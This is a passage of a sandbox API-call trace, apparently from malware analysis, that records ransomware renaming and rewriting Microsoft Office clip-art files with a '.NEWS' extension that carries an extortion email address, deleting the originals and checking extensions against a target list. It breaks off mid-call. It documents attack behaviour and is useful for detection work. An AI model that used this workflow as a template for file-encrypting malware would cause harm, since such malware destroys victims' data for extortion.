returned -1 [0081.307] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.307] lstrlenW (lpString="BS00224_.WMF") returned 12 [0081.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0081.307] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1588) returned 1 [0081.307] CloseHandle (hObject=0x35c) returned 1 [0081.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0081.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0081.308] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.308] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0081.308] GetLastError () returned 0x0 [0081.308] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x634, lpOverlapped=0x0) returned 1 [0081.310] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x640, lpOverlapped=0x0) returned 1 [0081.310] ReadFile (in: hFile=0x35c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.310] WriteFile (in: hFile=0x394, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.311] SetEndOfFile (hFile=0x394) returned 1 [0081.311] CloseHandle (hObject=0x394) returned 1 [0081.314] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.314] SetEndOfFile (hFile=0x35c) returned 1 [0081.315] CloseHandle (hObject=0x35c) returned 1 [0081.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0081.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.316] lstrlenW (lpString=".doc") returned 4 [0081.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.316] lstrlenW (lpString=".docx") returned 5 [0081.316] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.316] lstrlenW (lpString=".pdf") returned 4 [0081.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.316] lstrlenW (lpString=".xls") returned 4 [0081.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.316] lstrlenW (lpString=".xlsx") returned 5 [0081.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.316] lstrlenW (lpString=".ppt") returned 4 [0081.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.316] lstrlenW (lpString=".zip") returned 4 [0081.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.316] lstrlenW (lpString=".rar") returned 4 [0081.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.316] lstrlenW (lpString=".bz2") returned 4 [0081.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString=".7z") returned 3 [0081.317] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.317] lstrlenW (lpString=".dbf") returned 4 [0081.317] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.317] lstrlenW (lpString=".1cd") returned 4 [0081.317] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.317] lstrlenW (lpString=".jpg") returned 4 [0081.317] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.317] lstrlenW (lpString=".doc") returned 4 [0081.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString=".docx") returned 5 [0081.317] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.317] lstrlenW (lpString=".pdf") returned 4 [0081.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString=".xls") returned 4 [0081.317] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.317] lstrlenW (lpString=".xlsx") returned 5 [0081.317] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.317] lstrlenW (lpString=".ppt") returned 4 [0081.317] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.317] lstrlenW (lpString=".zip") returned 4 [0081.317] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.317] lstrlenW (lpString=".rar") returned 4 [0081.317] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.317] lstrlenW (lpString=".bz2") returned 4 [0081.317] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.318] lstrlenW (lpString=".7z") returned 3 [0081.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.318] lstrlenW (lpString=".dbf") returned 4 [0081.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.318] lstrlenW (lpString=".1cd") returned 4 [0081.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0081.318] lstrlenW (lpString=".jpg") returned 4 [0081.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.318] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.318] lstrlenW (lpString="BS00438_.WMF") returned 12 [0081.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0081.896] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=1212) returned 1 [0081.896] CloseHandle (hObject=0x374) returned 1 [0081.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0081.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0081.897] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.897] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0081.897] GetLastError () returned 0x0 [0081.897] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0081.899] WriteFile (in: hFile=0x338, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0081.900] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.900] WriteFile (in: hFile=0x338, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.900] SetEndOfFile (hFile=0x338) returned 1 [0081.900] CloseHandle (hObject=0x338) returned 1 [0082.465] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.465] SetEndOfFile (hFile=0x374) returned 1 [0082.466] CloseHandle (hObject=0x374) returned 1 [0082.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.466] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.467] lstrlenW (lpString=".doc") returned 4 [0082.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString=".docx") returned 5 [0082.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.467] lstrlenW (lpString=".pdf") returned 4 [0082.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString=".xls") returned 4 [0082.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.467] lstrlenW (lpString=".xlsx") returned 5 [0082.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.467] lstrlenW (lpString=".ppt") returned 4 [0082.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.467] lstrlenW (lpString=".zip") returned 4 [0082.467] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.467] lstrlenW (lpString=".rar") returned 4 [0082.467] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString=".bz2") returned 4 [0082.467] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString=".7z") returned 3 [0082.467] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.467] lstrlenW (lpString=".dbf") returned 4 [0082.467] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.467] lstrlenW (lpString=".1cd") returned 4 [0082.467] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.467] lstrlenW (lpString=".jpg") returned 4 [0082.467] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.468] lstrlenW (lpString=".doc") returned 4 [0082.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString=".docx") returned 5 [0082.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.468] lstrlenW (lpString=".pdf") returned 4 [0082.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString=".xls") returned 4 [0082.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.468] lstrlenW (lpString=".xlsx") returned 5 [0082.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.468] lstrlenW (lpString=".ppt") returned 4 [0082.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.468] lstrlenW (lpString=".zip") returned 4 [0082.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.468] lstrlenW (lpString=".rar") returned 4 [0082.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString=".bz2") returned 4 [0082.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString=".7z") returned 3 [0082.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.468] lstrlenW (lpString=".dbf") returned 4 [0082.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.468] lstrlenW (lpString=".1cd") returned 4 [0082.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0082.468] lstrlenW (lpString=".jpg") returned 4 [0082.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.677] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.677] lstrlenW (lpString="DD00234_.WMF") returned 12 [0082.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.678] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=29628) returned 1 [0082.678] CloseHandle (hObject=0x374) returned 1 [0082.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0082.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.679] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.679] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.679] GetLastError () returned 0x0 [0082.679] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0082.681] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0082.682] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0082.682] WriteFile (in: hFile=0x33c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0082.682] SetEndOfFile (hFile=0x33c) returned 1 [0082.682] CloseHandle (hObject=0x33c) returned 1 [0082.684] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0082.684] SetEndOfFile (hFile=0x374) returned 1 [0082.685] CloseHandle (hObject=0x374) returned 1 [0082.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString=".doc") returned 4 [0082.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString=".docx") returned 5 [0082.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.686] lstrlenW (lpString=".pdf") returned 4 [0082.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString=".xls") returned 4 [0082.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.686] lstrlenW (lpString=".xlsx") returned 5 [0082.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.686] lstrlenW (lpString=".ppt") returned 4 [0082.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString=".zip") returned 4 [0082.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.686] lstrlenW (lpString=".rar") returned 4 [0082.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString=".bz2") returned 4 [0082.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString=".7z") returned 3 [0082.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString=".dbf") returned 4 [0082.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString=".1cd") returned 4 [0082.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString=".jpg") returned 4 [0082.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.686] lstrlenW (lpString=".doc") returned 4 [0082.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString=".docx") returned 5 [0082.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.687] lstrlenW (lpString=".pdf") returned 4 [0082.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString=".xls") returned 4 [0082.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.687] lstrlenW (lpString=".xlsx") returned 5 [0082.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.687] lstrlenW (lpString=".ppt") returned 4 [0082.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.687] lstrlenW (lpString=".zip") returned 4 [0082.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.687] lstrlenW (lpString=".rar") returned 4 [0082.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString=".bz2") returned 4 [0082.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString=".7z") returned 3 [0082.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.687] lstrlenW (lpString=".dbf") returned 4 [0082.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.687] lstrlenW (lpString=".1cd") returned 4 [0082.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0082.687] lstrlenW (lpString=".jpg") returned 4 [0082.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.687] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.687] lstrlenW (lpString="DD00255_.WMF") returned 12 [0082.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 